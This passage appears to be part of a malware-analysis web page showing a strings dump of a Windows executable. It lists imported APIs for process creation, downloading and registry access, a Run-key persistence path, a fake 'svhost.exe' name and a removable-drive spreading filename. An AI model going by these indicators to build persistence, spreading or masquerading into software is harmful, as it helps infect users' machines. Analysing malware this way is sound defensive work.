GetModuleFileNameW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000ADAC&nbsp;&nbsp; 000002DAADAC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetModuleHandleW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000ADC0&nbsp;&nbsp; 000002DAADC0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; SetErrorMode</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000ADD0&nbsp;&nbsp; 000002DAADD0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; CreateProcessW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000ADE2&nbsp;&nbsp; 000002DAADE2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; TerminateProcess</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000ADF6&nbsp;&nbsp; 000002DAADF6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; lstrlenW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AE02&nbsp;&nbsp; 000002DAAE02&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; CreateEventW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AE12&nbsp;&nbsp; 000002DAAE12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; CreateDirectoryW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AE26&nbsp;&nbsp; 000002DAAE26&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; CopyFileW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AE32&nbsp;&nbsp; 000002DAAE32&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; FindFirstFileW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AE44&nbsp;&nbsp; 000002DAAE44&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetLogicalDriveStringsW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AE5C&nbsp;&nbsp; 000002DAAE5C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; KERNEL32.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AE6A&nbsp;&nbsp; 000002DAAE6A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; WS2_32.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AE78&nbsp;&nbsp; 000002DAAE78&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; PathAppendW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AE84&nbsp;&nbsp; 000002DAAE84&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; SHLWAPI.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AE92&nbsp;&nbsp; 000002DAAE92&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; InternetReadFile</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AEA6&nbsp;&nbsp; 000002DAAEA6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; InternetOpenUrlA</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AEBA&nbsp;&nbsp; 000002DAAEBA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; InternetCloseHandle</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AED0&nbsp;&nbsp; 000002DAAED0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; InternetOpenW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AEDE&nbsp;&nbsp; 000002DAAEDE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; WININET.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AEEC&nbsp;&nbsp; 000002DAAEEC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; CoCreateInstance</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AF00&nbsp;&nbsp; 000002DAAF00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; CoUninitialize</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AF12&nbsp;&nbsp; 000002DAAF12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; CoInitialize</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AF20&nbsp;&nbsp; 000002DAAF20&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ole32.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AF2C&nbsp;&nbsp; 000002DAAF2C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetModuleFileNameExW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AF42&nbsp;&nbsp; 000002DAAF42&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; PSAPI.DLL</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AF4E&nbsp;&nbsp; 000002DAAF4E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ShellExecuteA</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AF5E&nbsp;&nbsp; 000002DAAF5E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; SHGetFolderPathW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AF70&nbsp;&nbsp; 000002DAAF70&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; SHELL32.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AF7E&nbsp;&nbsp; 000002DAAF7E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; RegCloseKey</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AF8C&nbsp;&nbsp; 000002DAAF8C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; RegDeleteValueW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AF9E&nbsp;&nbsp; 000002DAAF9E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; RegCreateKeyExW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AFB0&nbsp;&nbsp; 000002DAAFB0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; RegQueryValueExW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AFC4&nbsp;&nbsp; 000002DAAFC4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; RegOpenKeyExW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AFD4&nbsp;&nbsp; 000002DAAFD4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; RegSetValueExW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AFE6&nbsp;&nbsp; 000002DAAFE6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; RegNotifyChangeKeyValue</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000B000&nbsp;&nbsp; 000002DAB000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetUserNameW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000B00E&nbsp;&nbsp; 000002DAB00E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ADVAPI32.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000C088&nbsp;&nbsp; 000002DAC088&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 1Al8deESCWJQjKrniRIiz5Ofdzfi1h</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000C0A7&nbsp;&nbsp; 000002DAC0A7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; A6RnRPKMb77qvsg5RiVNXdu6D9mgzE8</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000C112&nbsp;&nbsp; 000002DAC112&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; egregregerfwde</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000C121&nbsp;&nbsp; 000002DAC121&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; svhost.exe</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000C18B&nbsp;&nbsp; 000002DAC18B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; APADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADD</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D01D&nbsp;&nbsp; 000002DAD01D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 00000000D029&nbsp;&nbsp; 000002DAD029&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; "&gt;P&gt;d&gt;j&gt;</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D051&nbsp;&nbsp; 000002DAD051&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ?#?h?</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D06B&nbsp;&nbsp; 000002DAD06B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 0=0C0g0n0{0</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D081&nbsp;&nbsp; 000002DAD081&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 0c1t1z1</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D091&nbsp;&nbsp; 000002DAD091&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 2'2.2:2?2I2\2l2q2w2|2</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D0B7&nbsp;&nbsp; 000002DAD0B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 3.333H3e3</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D0D1&nbsp;&nbsp; 000002DAD0D1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 45400000000D0F3&nbsp;&nbsp; 000002DAD0F3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 5%5Y5e5p5w5</code></span></li> <li><span style="font-size: small;"><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</span></li> <li><span style="font-size: small;"><code class="plain plain">File pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mem pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ID&nbsp;&nbsp; Text</code></span></li> <li><span style="font-size: small;"><code class="plain plain">========&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =======&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ==&nbsp;&nbsp; ====</code></span></li> <li><span style="font-size: small;"><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D129&nbsp;&nbsp; 000002DAD129&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 7n8~8</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D135&nbsp;&nbsp; 000002DAD135&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 819F9N9</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D149&nbsp;&nbsp; 000002DAD149&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; <img alt=":)" class="wp-smiley" src="http://virusindonesia.com/wp-includes/images/smilies/icon_smile.gif" /> :4:?:J:U:</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D155&nbsp;&nbsp; 000002DAD155&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; :k:y:</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D183&nbsp;&nbsp; 000002DAD183&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 4&gt;:&gt;@&gt;F&gt;L&gt;c&gt;p&gt;</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D1F0&nbsp;&nbsp; 000002DAD1F0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; -070&gt;0O0</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D1FF&nbsp;&nbsp; 000002DAD1FF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 031:1h1</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D209&nbsp;&nbsp; 000002DAD209&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 202;2]2b2h2o2</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D21F&nbsp;&nbsp; 000002DAD21F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 3'3.3=3C3R3a3</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D237&nbsp;&nbsp; 000002DAD237&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 4)4@4i4w4~4</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D25F&nbsp;&nbsp; 000002DAD25F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 6$6-696E6J6W6]6</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D27B&nbsp;&nbsp; 000002DAD27B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 62777G7M7S7b7n7</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D295&nbsp;&nbsp; 000002DAD295&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 7'8-8B8I8a8o8z8</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D2B1&nbsp;&nbsp; 000002DAD2B1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 949&gt;9J9c9i9</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D2D5&nbsp;&nbsp; 000002DAD2D5&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 9&nbsp; :.:P:c:i:p:</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D2F3&nbsp;&nbsp; 000002DAD2F3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ;%;00000000D2FF&nbsp;&nbsp; 000002DAD2FF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _&gt;m&gt;s&gt;x&gt;</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D329&nbsp;&nbsp; 000002DAD329&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; &gt;&amp;?+?;?A?G?</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D35B&nbsp;&nbsp; 000002DAD35B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 1*1V1d1q1~1</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D379&nbsp;&nbsp; 000002DAD379&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 2,292F2S2</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D383&nbsp;&nbsp; 000002DAD383&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 2m2z2</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D393&nbsp;&nbsp; 000002DAD393&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 2l3v3</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D3B5&nbsp;&nbsp; 000002DAD3B5&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 4 4-42494?4D4J4W4_4g4p4v4</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D3E5&nbsp;&nbsp; 000002DAD3E5&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 4]5c5j5</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D401&nbsp;&nbsp; 000002DAD401&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 6&amp;6:6@6X6</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D40B&nbsp;&nbsp; 000002DAD40B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 6q6w6~6</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D413&nbsp;&nbsp; 000002DAD413&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 7$757</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D41D&nbsp;&nbsp; 000002DAD41D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 778G8R8]8</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D42F&nbsp;&nbsp; 000002DAD42F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 839C9L9</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D441&nbsp;&nbsp; 000002DAD441&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; :C:T:o:x:</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D44F&nbsp;&nbsp; 000002DAD44F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; :3;00000000D459&nbsp;&nbsp; 000002DAD459&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ;g;~;</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D467&nbsp;&nbsp; 000002DAD467&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; E&gt;N&gt;</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D4AD&nbsp;&nbsp; 000002DAD4AD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ?=?Y?y?</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D4C7&nbsp;&nbsp; 000002DAD4C7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 0E0Z0_0v0</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D4DF&nbsp;&nbsp; 000002DAD4DF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 1=1C1L1R1\1b1</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D4EF&nbsp;&nbsp; 000002DAD4EF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 2 2+2C2</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D501&nbsp;&nbsp; 000002DAD501&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 3!3]3s3|3</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D517&nbsp;&nbsp; 000002DAD517&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 4 4A4M4b4h4z4</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D52F&nbsp;&nbsp; 000002DAD52F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 4(5755D5J5P5V5\5b5h5n5t5z5</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D719&nbsp;&nbsp; 000002DAD719&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 6"6(6.646:6@6F6L6R6X6</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D72F&nbsp;&nbsp; 000002DAD72F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 6d6j6p6v6|6</code></span></li> <li><span style="font-size: small;"><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</span></li> <li><span style="font-size: small;"><code class="plain plain">File pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mem pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ID&nbsp;&nbsp; Text</code></span></li> <li><span style="font-size: small;"><code class="plain plain">========&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =======&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ==&nbsp;&nbsp; ====</code></span></li> <li><span style="font-size: small;"><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D76F&nbsp;&nbsp; 000002DAD76F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 7$7*7076700000000131D&nbsp;&nbsp; 000002DA1F1D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %userprofile%</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001340&nbsp;&nbsp; 000002DA1F40&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %appdata%</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001358&nbsp;&nbsp; 000002DA1F58&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %temp%</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000013B4&nbsp;&nbsp; 000002DA1FB4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %s\removethis_%d%d%d.exe</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000015C8&nbsp;&nbsp; 000002DA21C8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; hh':'mm':'ss</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000015F4&nbsp;&nbsp; 000002DA21F4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; {%s}: %s</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001718&nbsp;&nbsp; 000002DA2318&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %temp%\oldfile.exe</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000017A0&nbsp;&nbsp; 000002DA23A0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Mozilla/5.0 (compatible)</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000017DC&nbsp;&nbsp; 000002DA23DC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %s\%d%d%d.exe</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001800&nbsp;&nbsp; 000002DA2400&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; explorer.exe</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001820&nbsp;&nbsp; 000002DA2420&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Kernel32.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001860&nbsp;&nbsp; 000002DA2460&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %s-deadlock</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000018A4&nbsp;&nbsp; 000002DA24A4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %s\SysWOW64</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001D70&nbsp;&nbsp; 000002DA2970&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; advapi32.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001D90&nbsp;&nbsp; 000002DA2990&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; comsupp.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001DAC&nbsp;&nbsp; 000002DA29AC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; shell32.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001DC8&nbsp;&nbsp; 000002DA29C8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; wininet.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001DE4&nbsp;&nbsp; 000002DA29E4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; shlwapi.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001E00&nbsp;&nbsp; 000002DA2A00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; dnsapi.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001E1C&nbsp;&nbsp; 000002DA2A1C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; user32.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001E38&nbsp;&nbsp; 000002DA2A38&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ws2_32.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001E54&nbsp;&nbsp; 000002DA2A54&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; psapi.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001E6C&nbsp;&nbsp; 000002DA2A6C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Ole32.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001E84&nbsp;&nbsp; 000002DA2A84&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; kernel32.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001EA4&nbsp;&nbsp; 000002DA2AA4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; msvcrt.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001EC0&nbsp;&nbsp; 000002DA2AC0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; dwm.exe</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001ED4&nbsp;&nbsp; 000002DA2AD4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; alg.exe</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001EE8&nbsp;&nbsp; 000002DA2AE8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; csrss.exe</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001F00&nbsp;&nbsp; 000002DA2B00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; SOFTWARE\Microsoft\Windows\CurrentVersion\Run</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001F70&nbsp;&nbsp; 000002DA2B70&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %s-readfile</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002048&nbsp;&nbsp; 000002DA2C48&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; cmd.exe</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000020BC&nbsp;&nbsp; 000002DA2CBC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Software\Microsoft\Windows\CurrentVersion\Run</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002240&nbsp;&nbsp; 000002DA2E40&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %temp%\deletethis.exe</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002274&nbsp;&nbsp; 000002DA2E74&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Removable_Drive.exe</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000022BC&nbsp;&nbsp; 000002DA2EBC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %s\{%s-%s}</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000022D8&nbsp;&nbsp; 000002DA2ED8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; /k "%s" Open %s</code></span></li> <li><span style="font-size: small;"><code class="plain 